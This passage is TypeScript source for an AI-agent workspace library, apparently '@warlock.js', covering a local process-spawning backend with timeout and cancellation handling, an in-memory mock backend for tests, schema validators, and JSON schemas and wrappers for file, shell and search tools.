Promise<WorkspaceBackendExecResult> {\n return new Promise<WorkspaceBackendExecResult>((resolve) => {\n const refuse = (stderr: string): void =>\n resolve({ exitCode: 127, stdout: \"\", stderr, timedOut: false });\n\n const signal = opts.signal;\n\n // Never spawn for an invocation that was cancelled before it started.\n if (signal?.aborted) {\n resolve({\n exitCode: 130,\n stdout: \"\",\n stderr: \"Command was not executed: the invocation was cancelled before it started.\",\n timedOut: false,\n cancelled: true,\n });\n\n return;\n }\n\n const plan = planSpawn(command, opts.interpreter ?? \"none\");\n\n if (\"refused\" in plan) {\n refuse(plan.refused);\n\n return;\n }\n\n const child = spawn(plan.file, plan.args, {\n cwd: opts.cwd,\n env: opts.env,\n shell: false,\n windowsHide: true,\n windowsVerbatimArguments: plan.windowsVerbatimArguments,\n // POSIX: own process group so a timeout SIGKILL reaps the whole\n // process tree, not just the direct child. Harmless on Windows\n // (ignored; there we tree-kill via taskkill instead).\n detached: platform !== \"win32\",\n });\n\n const stdoutChunks: Buffer[] = [];\n const stderrChunks: Buffer[] = [];\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let timedOut = false;\n let cancelled = false;\n let settled = false;\n // The direct child has exited; 'close' may still be pending while its\n // stdio drains (or a grandchild holds the pipes open).\n let exited = false;\n\n // Timeout and cancellation are mutually exclusive: whichever kills the\n // tree first owns the outcome, so a result is never both.\n const timer =\n opts.timeoutMs !== undefined && opts.timeoutMs > 0\n ? setTimeout(() => {\n if (cancelled) {\n return;\n }\n\n timedOut = true;\n killTree(child.pid, child);\n }, opts.timeoutMs)\n : undefined;\n\n const onAbort = (): void => {\n if (settled || timedOut) {\n return;\n }\n\n // The command already finished: report its real outcome, not a\n // cancellation. Still reap the tree so a grandchild holding the\n // pipes open cannot keep `close` (and this promise) pending.\n if (!exited) {\n cancelled = true;\n }\n\n killTree(child.pid, child);\n };\n\n // Attached synchronously after `spawn`, so there is no window in which\n // an abort could be missed; removed in `settle` so a long-lived signal\n // shared across many commands does not accumulate listeners.\n signal?.addEventListener(\"abort\", onAbort, { once: true });\n\n const settle = (exitCode: number) => {\n if (settled) {\n return;\n }\n\n settled = true;\n\n if (timer !== undefined) {\n clearTimeout(timer);\n }\n\n signal?.removeEventListener(\"abort\", onAbort);\n\n resolve({\n exitCode,\n stdout: Buffer.concat(stdoutChunks).toString(\"utf8\"),\n stderr: Buffer.concat(stderrChunks).toString(\"utf8\"),\n timedOut,\n cancelled,\n });\n };\n\n child.stdout?.on(\"data\", (chunk: Buffer) => {\n stdoutBytes = pushCapped(stdoutChunks, stdoutBytes, chunk);\n });\n\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n stderrBytes = pushCapped(stderrChunks, stderrBytes, chunk);\n });\n\n // A spawn failure (e.g. the executable cannot be found) surfaces as\n // an error event with no exit; report it as a conventional\n // \"command not found\" exit code rather than rejecting.\n child.on(\"error\", () => {\n settle(127);\n });\n\n child.on(\"exit\", () => {\n exited = true;\n });\n\n child.on(\"close\", (code, signal) => {\n // A null code means the process was terminated by a signal (our\n // timeout SIGKILL, or an external kill). Map that to the POSIX\n // 128 + signal-number convention so callers see a non-zero exit.\n if (code === null) {\n const signalNumber = signal === \"SIGKILL\" ? 9 : 1;\n settle(128 + signalNumber);\n\n return;\n }\n\n settle(code);\n });\n });\n }\n\n /**\n * Start a long-running command and return at once. Spawned like\n * {@link exec} (same argv/shell planning, own process group on POSIX), with\n * stdin closed. Output is decoded per stream with a `StringDecoder`, so a\n * chunk never ends inside a character. `kill()` kills the whole tree; a\n * still-running tree is also killed when the Node process exits.\n */\n public start(command: string, opts: WorkspaceBackendStartOptions): WorkspaceBackendProcess {\n const plan = planSpawn(command, opts.interpreter ?? \"none\");\n\n if (\"refused\" in plan) {\n opts.onOutput(\"stderr\", plan.refused);\n\n return { done: Promise.resolve({ exitCode: 127 }), kill: () => {} };\n }\n\n const child = spawn(plan.file, plan.args, {\n cwd: opts.cwd,\n env: opts.env,\n shell: false,\n windowsHide: true,\n windowsVerbatimArguments: plan.windowsVerbatimArguments,\n detached: platform !== \"win32\",\n stdio: [\"ignore\", \"pipe\", \"pipe\"],\n });\n\n const stdoutDecoder = new StringDecoder(\"utf8\");\n const stderrDecoder = new StringDecoder(\"utf8\");\n let finished = false;\n\n const kill = (): void => {\n if (!finished) {\n killTree(child.pid, child);\n }\n };\n\n const untrack = trackBackgroundProcess(kill);\n\n child.stdout?.on(\"data\", (chunk: Buffer) => {\n const text = stdoutDecoder.write(chunk);\n\n if (text !== \"\") {\n opts.onOutput(\"stdout\", text);\n }\n });\n\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n const text = stderrDecoder.write(chunk);\n\n if (text !== \"\") {\n opts.onOutput(\"stderr\", text);\n }\n });\n\n const done = new Promise<{ exitCode: number }>((resolve) => {\n const finish = (exitCode: number): void => {\n if (finished) {\n return;\n }\n\n finished = true;\n untrack();\n\n const stdoutTail = stdoutDecoder.end();\n const stderrTail = stderrDecoder.end();\n\n if (stdoutTail !== \"\") {\n opts.onOutput(\"stdout\", stdoutTail);\n }\n\n if (stderrTail !== \"\") {\n opts.onOutput(\"stderr\", stderrTail);\n }\n\n resolve({ exitCode });\n };\n\n child.on(\"error\", (error) => {\n opts.onOutput(\"stderr\", `Command could not be started: ${error.message}`);\n finish(127);\n });\n\n child.on(\"close\", (code, signal) => {\n finish(code === null ? 128 + (signal === \"SIGKILL\" ? 9 : 1) : code);\n });\n });\n\n return { ...(child.pid !== undefined ? { pid: child.pid } : {}), done, kill };\n }\n}\n\n/**\n * Create the **local** workspace backend — the default executor that runs the\n * workspace over the real disk (`@warlock.js/fs`) and the local shell\n * (`node:child_process`).\n *\n * The returned object is policy-agnostic: it expects already-jail-resolved\n * absolute paths and an already-resolved environment/timeout from the ops\n * layer. Pair it with {@link WorkspaceOps} for the actual cwd jail,\n * allow/deny lists, hashing, and output policy.\n *\n * @example\n * const backend = createLocalBackend();\n * await backend.writeFile(\"/srv/app/src/index.ts\", \"export const x = 1;\");\n * const { exitCode } = await backend.exec(\"node -v\", { cwd: \"/srv/app\" });\n */\nexport function createLocalBackend(): WorkspaceBackend {\n return new LocalBackend();\n}\n","import type {\n WorkspaceBackend,\n WorkspaceBackendExecOptions,\n WorkspaceBackendExecResult,\n WorkspaceBackendProcess,\n WorkspaceBackendStartOptions,\n WorkspaceBackendStat,\n} from \"../contracts/workspace-backend.contract\";\n\n/**\n * A scripted outcome for the mock backend's `exec` (and background\n * `start`). Mirrors {@link WorkspaceBackendExecResult} but every field is\n * optional so a registration can specify only what it cares about — the\n * rest fall back to a successful, empty-output, non-timed-out run.\n *\n * `running: true` makes a background start keep \"running\" (after emitting\n * its scripted output) until it is killed, like a dev server; otherwise it\n * exits at once with `exitCode`.\n */\nexport type MockExecResult = Partial<WorkspaceBackendExecResult> & {\n /** Background starts only: stay running until killed. */\n running?: boolean;\n};\n\n/**\n * The two seedable inputs of a mock backend:\n *\n * - `files` — initial file tree as `absolutePath -> content`. Parent\n * directories of each seeded file are implicitly created.\n * - `commands` — scripted `exec` outcomes keyed on the **exact** command\n * line. Any command not registered here resolves to a `0`-exit no-op.\n */\nexport interface MockBackendSeed {\n /** Initial file contents, keyed by absolute path. */\n files?: Record<string, string>;\n /** Scripted `exec` results, keyed by exact command line. */\n commands?: Record<string, MockExecResult>;\n}\n\n/**\n * Normalize an absolute path to a stable in-memory key: forward slashes,\n * collapsed duplicate separators, and resolved `.` / `..` segments. There\n * are no symlinks in memory, so this is a pure lexical canonicalization —\n * exactly what the backend's `realpath` promises.\n */\nfunction canonicalize(absPath: string): string {\n const unified = absPath.replace(/\\\\/g, \"/\");\n // Preserve a leading slash (POSIX root) or a `C:`-style Windows drive\n // prefix; everything else is a normal segment.\n const driveMatch = unified.match(/^([a-zA-Z]:)?\\/?/);\n const prefix = driveMatch ? driveMatch[0] : \"\";\n const rest = unified.slice(prefix.length);\n\n const resolved: string[] = [];\n\n for (const segment of rest.split(\"/\")) {\n if (segment === \"\" || segment === \".\") {\n continue;\n }\n\n if (segment === \"..\") {\n resolved.pop();\n\n continue;\n }\n\n resolved.push(segment);\n }\n\n const joined = resolved.join(\"/\");\n\n // A trailing slash on the prefix means it was absolute; keep it so the\n // result stays absolute even when the body is empty (the root itself).\n const normalizedPrefix = prefix.endsWith(\"/\") ? prefix : `${prefix}/`;\n\n return joined.length > 0 ? `${normalizedPrefix}${joined}` : normalizedPrefix;\n}\n\n/** All ancestor directory keys of a canonical path, root-first. */\nfunction ancestorsOf(canonicalPath: string): string[] {\n const lastSlash = canonicalPath.lastIndexOf(\"/\");\n\n if (lastSlash <= 0) {\n return [];\n }\n\n const parent = canonicalPath.slice(0, lastSlash);\n const result = ancestorsOf(parent);\n\n result.push(parent);\n\n return result;\n}\n\n/**\n * The in-memory executor behind {@link createMockBackend}. Holds the file\n * tree in a `Map`, the directory set in a `Set`, and the scripted command\n * table in a second `Map` — no disk, no child processes, fully\n * deterministic. Construct it via the factory, never directly.\n */\nclass MockBackend implements WorkspaceBackend {\n /** Canonical file path -> content. */\n private readonly files = new Map<string, string>();\n\n /** Canonical directory paths that exist (including implicit parents). */\n private readonly directories = new Set<string>();\n\n /** Exact command line -> scripted outcome. */\n private readonly commands = new Map<string, MockExecResult>();\n\n public constructor(seed?: MockBackendSeed) {\n for (const [path, content] of Object.entries(seed?.files ?? {})) {\n const canonical = canonicalize(path);\n\n this.files.set(canonical, content);\n this.registerAncestorDirectories(canonical);\n }\n\n for (const [command, result] of Object.entries(seed?.commands ?? {})) {\n this.commands.set(command, result);\n }\n }\n\n /** Record every ancestor directory of a path as existing. */\n private registerAncestorDirectories(canonicalPath: string): void {\n for (const ancestor of ancestorsOf(canonicalPath)) {\n this.directories.add(ancestor);\n }\n }\n\n public async readFile(absPath: string): Promise<string> {\n const canonical = canonicalize(absPath);\n const content = this.files.get(canonical);\n\n if (content === undefined) {\n throw new Error(`Mock backend: no such file: ${canonical}`);\n }\n\n return content;\n }\n\n public async writeFile(absPath: string, content: string): Promise<void> {\n const canonical = canonicalize(absPath);\n\n this.files.set(canonical, content);\n this.registerAncestorDirectories(canonical);\n }\n\n public async exists(absPath: string): Promise<boolean> {\n const canonical = canonicalize(absPath);\n\n return this.files.has(canonical) || this.directories.has(canonical);\n }\n\n public async mkdir(absPath: string): Promise<void> {\n const canonical = canonicalize(absPath);\n\n this.directories.add(canonical);\n this.registerAncestorDirectories(canonical);\n }\n\n public async remove(absPath: string): Promise<void> {\n const canonical = canonicalize(absPath);\n const prefix = `${canonical}/`;\n\n // Drop the entry itself and any descendant files/directories — a\n // recursive tree removal, matching the contract's \"file or directory\n // tree\" wording.\n for (const file of [...this.files.keys()]) {\n if (file === canonical || file.startsWith(prefix)) {\n this.files.delete(file);\n }\n }\n\n for (const directory of [...this.directories]) {\n if (directory === canonical || directory.startsWith(prefix)) {\n this.directories.delete(directory);\n }\n }\n }\n\n public async list(absDir: string): Promise<string[]> {\n const canonical = canonicalize(absDir);\n const prefix = canonical === \"/\" ? \"/\" : `${canonical}/`;\n const children = new Set<string>();\n\n const collect = (key: string): void => {\n if (!key.startsWith(prefix) || key === canonical) {\n return;\n }\n\n const remainder = key.slice(prefix.length);\n const nextSlash = remainder.indexOf(\"/\");\n const childName = nextSlash === -1 ? remainder : remainder.slice(0, nextSlash);\n\n if (childName.length > 0) {\n children.add(`${prefix}${childName}`);\n }\n };\n\n for (const file of this.files.keys()) {\n collect(file);\n }\n\n for (const directory of this.directories) {\n collect(directory);\n }\n\n return [...children].sort();\n }\n\n public async realpath(absPath: string): Promise<string> {\n return canonicalize(absPath);\n }\n\n public async stat(absPath: string): Promise<WorkspaceBackendStat> {\n const canonical = canonicalize(absPath);\n const content = this.files.get(canonical);\n\n if (content !== undefined) {\n return { type: \"file\", size: Buffer.byteLength(content, \"utf8\") };\n }\n\n if (this.directories.has(canonical)) {\n return { type: \"directory\", size: 0 };\n }\n\n throw new Error(`Mock backend: no such file or directory: ${canonical}`);\n }\n\n /**\n * Scripted background start: emits the registered `stdout` / `stderr`\n * synchronously, then exits with `exitCode` — or, when scripted with\n * `running: true`, stays running until `kill()` (exit code 137).\n */\n public start(command: string, opts: WorkspaceBackendStartOptions): WorkspaceBackendProcess {\n const scripted = this.commands.get(command);\n\n if (scripted?.stdout) {\n opts.onOutput(\"stdout\", scripted.stdout);\n }\n\n if (scripted?.stderr) {\n opts.onOutput(\"stderr\", scripted.stderr);\n }\n\n if (scripted?.running !== true) {\n return { done: Promise.resolve({ exitCode: scripted?.exitCode ?? 0 }), kill: () => {} };\n }\n\n let stop: (result: { exitCode: number }) => void = () => {};\n const done = new Promise<{ exitCode: number }>((resolve) => {\n stop = resolve;\n });\n\n return { done, kill: () => stop({ exitCode: 137 }) };\n }\n\n public async exec(\n command: string,\n opts?: WorkspaceBackendExecOptions,\n ): Promise<WorkspaceBackendExecResult> {\n // Honour the contract's pre-aborted rule: nothing \"runs\".\n if (opts?.signal?.aborted) {\n return { exitCode: 130, stdout: \"\", stderr: \"\", timedOut: false, cancelled: true };\n }\n\n const scripted = this.commands.get(command);\n\n return {\n exitCode: scripted?.exitCode ?? 0,\n stdout: scripted?.stdout ?? \"\",\n stderr: scripted?.stderr ?? \"\",\n timedOut: scripted?.timedOut ?? false,\n cancelled: scripted?.cancelled ?? false,\n };\n }\n}\n\n/**\n * Create an in-memory {@link WorkspaceBackend} for fast, disk-free tests.\n *\n * Every IO method operates on a `Map` of `absolutePath -> content` (with a\n * companion directory set), so reads, writes, existence checks, `mkdir`,\n * recursive `remove`, `list`, and `realpath` all run synchronously in\n * memory with no filesystem access. `exec` is **scripted**: a registered\n * `command -> result` table is consulted by exact command line, and any\n * unregistered command resolves to a successful `0`-exit no-op with empty\n * output.\n *\n * `realpath` is a pure lexical canonicalization (forward slashes,\n * collapsed separators, resolved `.`/`..`) — there are no symlinks in\n * memory — which is exactly what the jail resolver expects.\n *\n * The single positional `seed` accepts either the shorthand\n * `Record<string, string>` of file contents (matching the design's\n * `ai.workspace.mock(seed)` signature) or the richer {@link MockBackendSeed}\n * with both `files` and scripted `commands`.\n *\n * @example\n * // Shorthand: seed files only.\n * const backend = createMockBackend({ \"/srv/app/src/index.ts\": \"export const x = 1;\" });\n * await backend.readFile(\"/srv/app/src/index.ts\"); // \"export const x = 1;\"\n *\n * @example\n * // Full seed: files plus a scripted command.\n * const backend = createMockBackend({\n * files: { \"/srv/app/package.json\": \"{}\" },\n * commands: { \"npm test\": { exitCode: 1, stderr: \"1 failing\" } },\n * });\n * await backend.exec(\"npm test\"); // { exitCode: 1, stderr: \"1 failing\", ... }\n * await backend.exec(\"echo hi\"); // { exitCode: 0, stdout: \"\", ... } (no-op)\n */\nexport function createMockBackend(\n seed?: Record<string, string> | MockBackendSeed,\n): WorkspaceBackend {\n return new MockBackend(normalizeSeed(seed));\n}\n\n/** Coerce the dual-shaped `seed` argument into a {@link MockBackendSeed}. */\nfunction normalizeSeed(\n seed?: Record<string, string> | MockBackendSeed,\n): MockBackendSeed | undefined {\n if (seed === undefined) {\n return undefined;\n }\n\n if (isMockBackendSeed(seed)) {\n return seed;\n }\n\n return { files: seed };\n}\n\n/**\n * Whether `seed` is the structured {@link MockBackendSeed} (has a `files`\n * or `commands` key) rather than the flat `path -> content` shorthand. A\n * plain shorthand map whose only key happens to be named `files` is\n * treated as structured — callers wanting that literal path should use the\n * explicit `{ files: { files: \"...\" } }` form.\n */\nfunction isMockBackendSeed(\n seed: Record<string, string> | MockBackendSeed,\n): seed is MockBackendSeed {\n return (\n typeof (seed as MockBackendSeed).files === \"object\" ||\n typeof (seed as MockBackendSeed).commands === \"object\"\n );\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\n\n/**\n * Tiny, dependency-free [Standard Schema](https://standardschema.dev)\n * builders for the workspace tools' input validation. The package pins\n * only `@warlock.js/ai` and `@warlock.js/fs` as runtime dependencies, so\n * rather than pull in a schema library we hand-roll the few shapes the\n * file tools need — exactly the pattern `@warlock.js/ai`'s own `tool()`\n * tests use. Each builder returns a `StandardSchemaV1`, which is what\n * `tool({ input })` validates against before calling `execute`.\n *\n * These intentionally cover only the primitive cases the FILE tools\n * require (`string`, `optional string`, `optional number`, `optional\n * boolean`, and an `object` of fields). They are not a general-purpose\n * validator.\n */\n\n/** The vendor tag stamped on every issue these builders produce. */\nconst VENDOR = \"ai-workspace\";\n\n/** A JSON Schema object, as providers send it with a tool definition. */\nexport type JsonSchemaObject = Record<string, unknown>;\n\n/**\n * A Standard Schema that also carries the JSON Schema of its input as a\n * top-level `jsonSchema` property — the property `@warlock.js/ai`'s\n * `extractJsonSchema` reads — so providers send the model the real\n * parameter shape instead of a bare `{ type: \"object\" }`.\n */\nexport type JsonStandardSchema<T> = StandardSchemaV1<T> & { jsonSchema: JsonSchemaObject };\n\n/** Attach a JSON Schema description to a hand-rolled Standard Schema. */\nexport function withJsonSchema<T>(\n schema: StandardSchemaV1<T>,\n jsonSchema: JsonSchemaObject,\n): JsonStandardSchema<T> {\n return Object.assign(schema, { jsonSchema });\n}\n\n/**\n * A single field validator inside {@link objectSchema}: given a value,\n * return either the coerced value or a list of issues. Field validators\n * receive the raw property and the property name (for issue messages).\n */\nexport type FieldValidator<T> = (\n value: unknown,\n key: string,\n) => { value: T } | { issues: StandardSchemaV1.Issue[] };\n\n/** Required string field — rejects anything that is not a string. */\nexport function stringField(): FieldValidator<string> {\n return (value, key) => {\n if (typeof value === \"string\") {\n return { value };\n }\n\n return { issues: [{ message: `\"${key}\" must be a string`, path: [key] }] };\n };\n}\n\n/**\n * Optional string field — accepts `undefined` (the property absent or\n * explicitly undefined) or a string, and rejects every other type.\n */\nexport function optionalStringField(): FieldValidator<string | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"string\") {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a string when provided`, path: [key] }],\n };\n };\n}\n\n/**\n * Optional finite-number field — accepts `undefined` or a finite number,\n * rejecting `NaN`/`Infinity` and non-number types.\n */\nexport function optionalNumberField(): FieldValidator<number | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"number\" && Number.isFinite(value)) {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a finite number when provided`, path: [key] }],\n };\n };\n}\n\n/** Optional boolean field — accepts `undefined` or a boolean. */\nexport function optionalBooleanField(): FieldValidator<boolean | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"boolean\") {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a boolean when provided`, path: [key] }],\n };\n };\n}\n\n/**\n * Optional array-of-strings field — accepts `undefined` or an array whose\n * every element is a string (at most `maxItems` of them).\n */\nexport function optionalStringArrayField(maxItems = 50): FieldValidator<string[] | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (\n Array.isArray(value) &&\n value.length <= maxItems &&\n value.every((item) => typeof item === \"string\")\n ) {\n return { value: value as string[] };\n }\n\n return {\n issues: [\n {\n message: `\"${key}\" must be an array of at most ${maxItems} strings when provided`,\n path: [key],\n },\n ],\n };\n };\n}\n\n/** The per-key field validator map describing an object schema's shape. */\ntype ObjectShape<T> = {\n [K in keyof T]-?: FieldValidator<T[K]>;\n};\n\n/**\n * Build a {@link StandardSchemaV1} for a flat object whose every property\n * is validated by a {@link FieldValidator}. The input must be a non-null\n * object; each declared field is validated and the (possibly coerced)\n * values are collected into the typed result. All field issues are merged\n * so the caller sees every problem at once.\n *\n * `T` is constrained to `object` rather than `Record<string, unknown>` so\n * the tool IO `interface`s (which carry no implicit string index\n * signature) satisfy it directly — only the declared keys in `shape` are\n * ever read, so a string index signature is never required.\n *\n * @example\n * const schema = objectSchema<{ path: string; limit?: number }>({\n * path: stringField(),\n * limit: optionalNumberField(),\n * });\n */\nexport function objectSchema<T extends object>(shape: ObjectShape<T>): StandardSchemaV1<T>;\nexport function objectSchema<T extends object>(\n shape: ObjectShape<T>,\n jsonSchema: JsonSchemaObject,\n): JsonStandardSchema<T>;\nexport function objectSchema<T extends object>(\n shape: ObjectShape<T>,\n jsonSchema?: JsonSchemaObject,\n): StandardSchemaV1<T> {\n const schema = buildObjectSchema(shape);\n\n return jsonSchema === undefined ? schema : withJsonSchema(schema, jsonSchema);\n}\n\n/** The validator behind {@link objectSchema}. */\nfunction buildObjectSchema<T extends object>(shape: ObjectShape<T>): StandardSchemaV1<T> {\n return {\n \"~standard\": {\n version: 1,\n vendor: VENDOR,\n validate(input) {\n if (typeof input !== \"object\" || input === null || Array.isArray(input)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const source = input as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n const result: Record<string, unknown> = {};\n\n for (const key of Object.keys(shape) as (keyof T)[]) {\n const field = shape[key];\n const outcome = field(source[key as string], key as string);\n\n if (\"issues\" in outcome) {\n issues.push(...outcome.issues);\n\n continue;\n }\n\n // Only carry through keys that resolved to a defined value, so\n // optional-absent fields stay absent rather than becoming\n // explicit `undefined` properties.\n if (outcome.value !== undefined) {\n result[key as string] = outcome.value;\n }\n }\n\n if (issues.length > 0) {\n return { issues };\n }\n\n return { value: result as T };\n },\n },\n };\n}\n","import type { JsonSchemaObject } from \"./schema\";\n\n/**\n * The JSON Schemas the workspace tools publish for their input (read by\n * `extractJsonSchema` and sent to the provider with each tool), kept short\n * because they ride along on every model call. They describe what the\n * hand-rolled validators accept; the validators remain the authority.\n */\n\nconst string = (description: string): JsonSchemaObject => ({ type: \"string\", description });\nconst integer = (description: string): JsonSchemaObject => ({ type: \"integer\", description });\nconst boolean = (description: string): JsonSchemaObject => ({ type: \"boolean\", description });\n\n/** `read_file`. */\nexport const READ_FILE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n startLine: integer(\"1-based first line to return.\"),\n limit: integer(\"Most lines to return.\"),\n },\n required: [\"path\"],\n};\n\n/** `edit_file`. */\nexport const EDIT_FILE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n oldString: string(\"Exact text to replace; must be unique unless replaceAll.\"),\n newString: string(\"Replacement text.\"),\n replaceAll: boolean(\"Replace every occurrence.\"),\n expectHash: string(\"Hash from read_file; rejects the edit if the file changed.\"),\n },\n required: [\"path\", \"oldString\", \"newString\"],\n};\n\n/** `multi_edit`. */\nexport const MULTI_EDIT_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n edits: {\n type: \"array\",\n description:\n \"Replacements applied in order, each to the result of the previous; all or none.\",\n minItems: 1,\n maxItems: 100,\n items: {\n type: \"object\",\n properties: {\n oldString: string(\"Exact text to replace; must be unique unless replaceAll.\"),\n newString: string(\"Replacement text.\"),\n replaceAll: boolean(\"Replace every occurrence.\"),\n },\n required: [\"oldString\", \"newString\"],\n },\n },\n expectHash: string(\"Hash from read_file; rejects every edit if the file changed.\"),\n },\n required: [\"path\", \"edits\"],\n};\n\n/** `write_file`. */\nexport const WRITE_FILE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n content: string(\"Full file content.\"),\n },\n required: [\"path\", \"content\"],\n};\n\n/** `list_dir`. */\nexport const LIST_DIR_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string('Workspace-relative directory (default \".\").'),\n depth: integer(\"Levels to list; 1 = direct children (default).\"),\n ignore: { type: \"array\", items: { type: \"string\" }, description: \"Extra globs to leave out.\" },\n },\n};\n\n/** `run_shell` (the `background` property is only listed when background commands are enabled). */\nexport function runShellJsonSchema(background: boolean): JsonSchemaObject {\n return {\n type: \"object\",\n properties: {\n command: string(\"The command line to run.\"),\n timeoutMs: integer(\"Wall-clock cap in ms (can only lower the workspace limit).\"),\n ...(background\n ? {\n background: boolean(\n \"Start it in the background and return its id at once (dev servers, watchers).\",\n ),\n }\n : {}),\n },\n required: [\"command\"],\n };\n}\n\n/** `shell_output`. */\nexport const SHELL_OUTPUT_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n id: string(\"Background command id from run_shell.\"),\n since: integer(\"A cursor from an earlier result; omit for output since the last read.\"),\n waitMs: integer(\"Wait up to this long (max 30000) for new output.\"),\n },\n required: [\"id\"],\n};\n\n/** `shell_kill`. */\nexport const SHELL_KILL_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: { id: string(\"Background command id from run_shell.\") },\n required: [\"id\"],\n};\n\n/** `run_tests`. */\nexport const RUN_TESTS_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: { pattern: string(\"Optional test path or name filter.\") },\n};\n\n/** `grep`. */\nexport const GREP_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n pattern: string(\"Regular expression to search for.\"),\n glob: string('Only search files matching this glob (e.g. \"src/**/*.ts\").'),\n ignoreCase: boolean(\"Case-insensitive match.\"),\n },\n required: [\"pattern\"],\n};\n\n/** `glob`. */\nexport const GLOB_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: { pattern: string('Glob such as \"src/**/*.ts\".') },\n required: [\"pattern\"],\n};\n\n/** `todo_write`. */\nexport const TODO_WRITE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n todos: {\n type: \"array\",\n description: \"The complete updated list (replaces the old one).\",\n maxItems: 100,\n items: {\n type: \"object\",\n properties: {\n id: string(\"Stable id; omit to number items by position.\"),\n content: string(\"The step.\"),\n status: { type: \"string\", enum: [\"pending\", \"in_progress\", \"completed\"] },\n },\n required: [\"content\", \"status\"],\n },\n },\n },\n required: [\"todos\"],\n};\n\n/** `todo_read`. */\nexport const TODO_READ_JSON_SCHEMA: JsonSchemaObject = { type: \"object\", properties: {} };\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, optionalBooleanField, optionalStringField, stringField } from \"./schema\";\nimport { EDIT_FILE_JSON_SCHEMA } from \"./json-schemas\";\nimport type { EditFileInput, EditFileResult, WorkspaceOps } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"edit_file\";\n\n/** Input schema for the `edit_file` tool. */\nconst inputSchema = objectSchema<EditFileInput>(\n {\n path: stringField(),\n oldString: stringField(),\n newString: stringField(),\n replaceAll: optionalBooleanField(),\n expectHash: optionalStringField(),\n },\n EDIT_FILE_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `edit_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, oldString, newString, replaceAll?,\n * expectHash? }` against a Standard Schema, then delegates to\n * `ops.editFile`, which applies the exact-string replacement under the\n * read-before-edit guard and returns the replacement count plus the\n * post-edit `hash`.\n *\n * **Errors flow as data.** A non-unique `oldString` (without\n * `replaceAll`), a missing `oldString`, or a stale `expectHash` cause\n * `ops` to throw a `WorkspaceEditError`; the `tool()` wrapper catches it\n * and surfaces it in the returned `{ error }` field — `invoke()` never\n * throws — so the agent can re-read and retry.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const editTool = makeEditFileTool(ops);\n * const { data, error } = await editTool.invoke({\n * path: \"src/index.ts\",\n * oldString: \"const a = 1;\",\n * newString: \"const a = 2;\",\n * expectHash,\n * });\n * if (error) console.warn(error.message); // e.g. stale-hash → re-read\n */\nexport function makeEditFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<EditFileInput, EditFileResult> {\n return tool<EditFileInput, EditFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Replace an exact substring in a workspace file. oldString must match \" +\n \"uniquely unless replaceAll is set. Pass expectHash (from read_file) to \" +\n \"reject the edit if the file changed since you read it. Returns the \" +\n \"number of replacements and the new content hash.\",\n input: inputSchema,\n async execute(input) {\n return ops.editFile(input);\n },\n });\n}\n","import { type ToolContract, tool } from \"@warlock.js/ai\";\nimport { objectSchema, stringField } from \"./schema\";\nimport { GLOB_JSON_SCHEMA } from \"./json-schemas\";\nimport type { GlobInput, GlobResult, WorkspaceOps } from \"../contracts\";\n\n/** Options accepted by {@link makeGlobTool} to customize the vended tool. */\nexport interface MakeGlobToolOptions {\n /**\n * Override the tool name the LLM sees. Defaults to `\"glob\"`. Use a\n * custom name when wiring several workspaces into one agent so each\n * path-match surface is addressable.\n */\n name?: string;\n}\n\n/**\n * Standard Schema for {@link GlobInput} — a single required `pattern`\n * string. Built on the package's shared, dependency-free schema builders\n * (no schema library, matching the validator idiom the `@warlock.js/ai`\n * tool runtime expects).\n */\nconst globInputSchema = objectSchema<GlobInput>(\n {\n pattern: stringField(),\n },\n GLOB_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `glob` tool — resolve a glob pattern to the\n * matching workspace-relative paths within the jail. The returned\n * {@link ToolContract} validates the LLM's arguments, delegates to\n * {@link WorkspaceOps.glob} (which returns a bare sorted `string[]`), and\n * wraps the result in a {@link GlobResult} so the agent always reads a\n * stable `{ paths }` envelope. The jail and `denyPaths` filtering are\n * enforced in the shared ops layer; a policy violation surfaces as typed\n * tool-error *data* via the runtime's `invoke()` wrapper.\n *\n * @param ops - The policy-enforced operation layer to delegate to.\n * @param options - Optional `{ name }` override for the vended tool name.\n * @returns A {@link ToolContract} the agent can call as `glob`.\n *\n * @example\n * const glob = makeGlobTool(ops);\n * const { data } = await 